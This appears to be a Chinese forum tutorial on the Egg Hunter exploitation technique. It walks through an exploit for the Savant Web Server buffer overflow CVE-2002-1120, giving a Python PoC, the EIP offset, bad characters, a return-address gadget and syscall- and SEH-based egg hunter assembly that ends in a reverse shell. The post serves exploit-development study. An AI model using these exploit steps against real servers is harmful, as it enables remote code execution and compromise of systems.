找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1747

积分

0

好友

233

主题
发表于 10 小时前 | 查看: 3| 回复: 0

这是一种在二进制漏洞利用中常用的技术,它本身并非漏洞,而是解决特定利用难题的“桥梁”。举个例子,当你成功触发了一个缓冲区溢出漏洞,但能写入并控制的缓冲区(称为区域 B)空间非常有限,而完整的 shellcode 却存放在内存的另一处(称为区域 A),两者之间可能隔着茫茫未知的内存区域。传统的通过固定偏移跳转 shellcode 的方式在这种情况下就会失效,因为你无法精确知道 shellcode 的具体位置。

Egg Hunter 技术正是为了解决这类问题而生。设想一个程序的简化模型如下:

// 这个缓冲区称为 A区域
// 这个全局变量负责接收完整的数据
char *Full_Requests_Store;

void LogError(char *input_string){
    // 设置一个小的变量
    // 这个缓冲区称作 B区域
    char small_buffer[64];
    // 漏洞点:strcpy 导致栈溢出
    strcpy(small_buffer, input_string);
}

char *recv_from_network() {} // 这个函数不重要,仅用于模拟接收网络数据

int main(){
    // 操作系统分配了一块巨大的堆内存,完整保存了攻击者的所有数据(包含 shellcode)
    Full_Requests_Store = recv_from_network();
    // LogError 导致栈溢出,但 small_buffer 只有 64 字节
    LogError(Full_Requests_Store);
}

在这个例子里,溢出发生在 LogError 函数的 small_buffer(B区域)。尽管我们发送了大量数据(比如10000字节的“A”),但只有开头的部分(比如100字节)能真正覆盖到 B区域的栈空间并造成崩溃,剩余的数据则安全地存放在 Full_Requests_Store 指向的 A区域(如堆内存)中。问题在于:如何在仅被控制的、空间有限的 B区域里,编写一段代码,让它能找到并跳转到远处 A区域里的 shellcode?这就是 Egg Hunter 的使命。

它的核心原理可以这样形象化理解:Egg Hunter 是一段非常精悍的“搜索代码”,我们在完整的 shellcode 前放置一个独特的“蛋”(The Egg),比如标记 w00tw00t。然后,让 Egg Hunter 代码遍历内存,寻找这个“蛋”。一旦找到,就跳转到“蛋”后面的位置,从而执行 shellcode

Egg Hunter 的精髓在于其遍历内存的方式。它不能直接读取所有内存地址,因为访问未分配或不可读的内存会直接导致程序崩溃。因此,它利用了系统调用 (Syscall) 或异常处理机制 (SEH) 来安全地探测内存页是否可读,从而实现稳健的搜索。

详细原理可以参考这篇经典论文https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

由于 Egg Hunter 通常用于可用空间受限的场景,所以它的代码必须设计得尽可能短小。同时,扫描速度也至关重要——Egg Hunter 越快找到目标,应用程序就越不容易出现长时间无响应或异常崩溃。

实战:分析 Savant Web Server 缓冲区溢出漏洞 (CVE-2002-1120)

漏洞链接:CVE-2002-1120
https://www.cvedetails.com/cve/CVE-2002-1120/

Savant Web Server 3.1 及更早版本存在一个缓冲区溢出漏洞。特别的是,这个溢出并非由单纯的超长请求触发,而是在进行 URL 解码(%xx 解码)时才会发生。当 HTTP 请求路径中出现 % 字符时,服务器会尝试解码后续的十六进制数字,并将解码后的字节写入一个固定大小的栈缓冲区,由于没有边界检查,导致了溢出。这个场景非常契合我们研究 Egg Hunter 技术的背景。

Fuzz 测试与初步分析

首先编写一个简单的 PoC 进行测试:

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  httpMethod = b"GET /"
  inputBuffer = b"\x41" * size
  httpEndRequest = b"\r\n\r\n"

  buf = httpMethod + inputBuffer +  httpEndRequest

  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()

  print("Done!")

except socket.error:
  print("Could not connect!")

将程序附加到 WinDbg 运行并发送 PoC,可以观察到 EIP 被 A (0x41) 覆盖。但查看栈顶 (esp) 会发现一个有趣的现象。

Windbg 调试截图显示寄存器状态和栈内存

进一步分析 esp 附近的内存。可以看到,esp 指向的地址存放着我们发送的数据,而 esp+4 的位置则是一个指向我们完整 Payload 的指针地址。

查看 esp 指向的内存内容
使用 dc 命令查看内存内容,可见 GET 请求和 A 的填充

这正好对应了概念部分举的例子:Full_Requests_Store 指向完整数据(A区域),而溢出发生在小的栈缓冲区(B区域)。

定位 EIP 偏移与坏字符检测

接下来需要精确控制 EIP。首先使用二分法定位偏移:

  inputBuffer = b"\x41" * 130
  inputBuffer += b"\x42" * 130

通过反复测试,最终确定 EIP 的偏移在 253 字节处。

调试器显示 EIP 被覆盖为 0x42424242

确认偏移后,进行坏字符检测。由于这是一个 Web 服务,需要特别注意 URL 编码和 HTTP 协议相关的字符。经过测试,以下字符被确定为坏字符:\x00(空字节)、\x0a(换行)、\x0d(回车)、\x25(百分号,用于 URL 编码触发漏洞,但其本身在特定位置会干扰数据)。

发送坏字符表后查看内存,数据正常显示

寻找跳板与构造初始执行流

由于目标程序非常简单,没有加载太多系统 DLL,我们需要从程序本身的代码中寻找可用的指令片段(gadget)。我们的目标是跳转到 esp+4 所指向的地址(那里存放着我们的完整数据)。理想情况是找到 jmp [esp+4] 这样的指令,但在小程序中很难找到。

退而求其次,我们寻找 pop eax; ret 这样的指令序列(操作码 58 c3)。在程序地址范围内搜索,可以找到多个地址,例如 0x00418674

s -[1]b 00400000 00452000 58 c3 # 搜索 pop eax; ret
0x00418674
0x0041924f
...

利用这个地址,并注意 EIP 之后默认是 \x00,我们可以只写入地址的低三位字节,利用程序自动补齐高位的 \x00,从而绕过坏字符限制。

修改 PoC:

  httpMethod = b"GET /"
  inputBuffer = b'A' * 253
  inputBuffer += b'\x74\x86\x41'  # 0x00418674 的字节序,只写3字节
  httpEndRequest = b"\r\n\r\n"

在 WinDbg 中验证,成功跳转到 pop eax; ret 指令,并随后返回到 esp+4 指向的地址。

调试器显示成功跳转到 pop eax; ret 指令

分析此时的内存,发现从返回地址开始,有约 24 字节的可控空间,并且请求方法部分(GET /)的结构必须保持,“/”字符必须存在。我们可以利用这部分空间和请求方法字段写入一些初始指令。

实现 Egg Hunter:Syscall 方式

现在,我们需要在有限的空间内写入 Egg Hunter 代码。首先尝试经典的 Syscall Hunter。它的原理是利用 Windows 的系统调用 NtAccessCheckAndAuditAlarm(或其他类似调用)来安全探测内存。调用时,如果传入的指针指向不可读内存,内核会返回错误状态(如 STATUS_ACCESS_VIOLATION,对应 0xC0000005AL=5),而不是使进程崩溃。Hunter 根据返回值判断是否跳过该内存页。

关键点:系统调用号 (syscall number) 随 Windows 版本变化。下面是一个针对特定系统(如 Windows XP)的 Hunter 示例,它包含了硬编码的调用号:

CODE = (
# 初始化 EDX = 0
"   xor edx, edx                 ;"
" loop_inc_page:               "
# 页对齐
"   or dx, 0x0fff                ;"
" loop_inc_one:                "
"   inc edx                      ;"
" loop_check:                  "
# 保存地址
"   push edx                     ;"
# XP 调用号 (此处是硬编码的,可能不适用于其他系统)
"   push 0x2                     ;"
"   pop eax                      ;"
# 触发系统调用
"   int 0x2e                     ;"
# 检查结果
"   cmp al, 0x05                 ;"
# 恢复地址
"   pop edx                      ;"
# 如果是访问违规(0x05),跳过这一页
"   je loop_inc_page             ;"
# 检查是否为 Egg 标记 ‘w00tw00t’ (0x74303077)
" is_egg:                      "
"   mov eax, 0x74303077          ;"
"   mov edi, edx                 ;"
"   scasd                        ;"
"   jnz loop_inc_one             ;"
"   scasd                        ;"
"   jnz loop_inc_one             ;"
# 找到 Egg,跳转到其后的 Shellcode
" matched:                     "
"   jmp edi                      ;"
)

将生成的 Hunter 代码放入我们的漏洞利用中,并在 shellcode 前加上标记 w00tw00t。但直接使用上述代码在 Win10 上会失败,因为系统调用号已改变。我们需要查询当前系统的正确调用号。

在调试器中查看 ntdll!NtAccessCheckAndAuditAlarm

查看 ntdll!NtAccessCheckAndAuditAlarm 的反汇编

可以看到,在作者的系统上,调用号是 0x1C6。但直接将 0x1C6 放入代码会产生坏字符 \x00。我们可以用一个小技巧绕过:使用负数。-0x1C6 的补码是 0xFFFFFE3A,没有 \x00 字节。

# 准备系统调用号 0x1C6 (Win10),使用负数法绕过 \x00
"   mov eax, 0xfffffe3a          ;"
"   neg eax                      ;"  # EAX 现在为 0x1C6

使用修改后的 Hunter 代码,我们就能成功在 Win10 系统上运行。最终,Egg Hunter 会遍历内存,找到我们预设的 w00tw00t 标记,并跳转到紧随其后的 shellcode

调试器显示 Egg Hunter 成功找到标记并准备跳转

实现 Egg Hunter:SEH 方式

Syscall Hunter 的缺点是依赖特定版本的系统调用号,通用性差。一种更优雅、跨版本兼容的方案是 SEH (Structured Exception Handling) Hunter

它的思路非常巧妙:

  1. Hunter 主动在栈上构造一个自定义的异常处理记录,并将其注册为当前线程的异常处理器(通过修改 FS:[0])。
  2. Hunter 直接尝试读取当前遍历的内存地址。
  3. 如果地址可读,则检查是否为“蛋”,继续流程。
  4. 如果地址不可读(访问违例),CPU 会触发异常。由于我们注册了 SEH,控制权会转到我们自定义的异常处理函数。
  5. 这个处理函数非常简单:它修改异常上下文(ContextRecord),将指令指针 (EIP) 设置到“跳过本内存页”的代码处,并告知系统异常已处理。
  6. 系统恢复执行时,就会跳过这个无效页,继续扫描下一页内存。

这种方式完全避免了系统调用号的问题,利用 Windows 固有的异常处理机制,通用性极强。以下是 SEH Hunter 的核心汇编逻辑概念:

CODE = (
"   start:                               "
"       jmp get_seh_address                 ;" # 动态获取 SEH 处理函数地址
"   build_exception_record:                  "
"       pop ecx                             ;" # ECX = 异常处理函数地址
"       mov eax, 0x74303077                 ;" # Egg 标记 ‘w00t’
"       push ecx                            ;" # 推入 Handler 地址
"       push 0xffffffff                     ;" # 指向前一个 SEH 记录(这里用 -1 占位)
"       xor ebx, ebx                        ;" 
"       mov dword ptr fs:[ebx], esp         ;" # 将当前 ESP 注册为新的 SEH 记录头
# ... 后续为 Hunter 扫描和 SEH Handler 代码 ...
"   get_seh_address:                         "
"       call build_exception_record         ;" # 调用并获取返回地址(即 Handler 地址)
)

使用 SEH Hunter 替换之前的 Syscall Hunter,同样可以成功定位并执行 shellcode,且不受 Windows 版本限制。

成功获取反向 Shell 的终端截图

总结

Egg Hunter 是一种在受限溢出场景下极为有效的技术。通过本次对 Savant Web Server 漏洞 (CVE-2002-1120) 的详细分析,我们实践了从漏洞复现、偏移定位、坏字符分析到最终利用 Egg Hunter(包括 Syscall 和 SEH 两种方式)完成漏洞利用的全过程。这项技术深刻体现了在安全研究中,绕过限制、将不可能变为可能的创造性思维。对于深入理解 缓冲区溢出 和 Windows 系统底层机制大有裨益,是渗透测试 与二进制安全研究者的必备技能。如果你想深入探讨更多底层细节,欢迎在云栈社区 的计算机基础板块交流。




上一篇:Claude全球宕机事件解析:从突发中断看AI服务深度依赖与基础设施脆弱性
下一篇:OpenClaw AI代理框架曝零点击漏洞,恶意网页可劫持本地助手
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-4 18:52 , Processed in 0.382713 second(s), 43 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表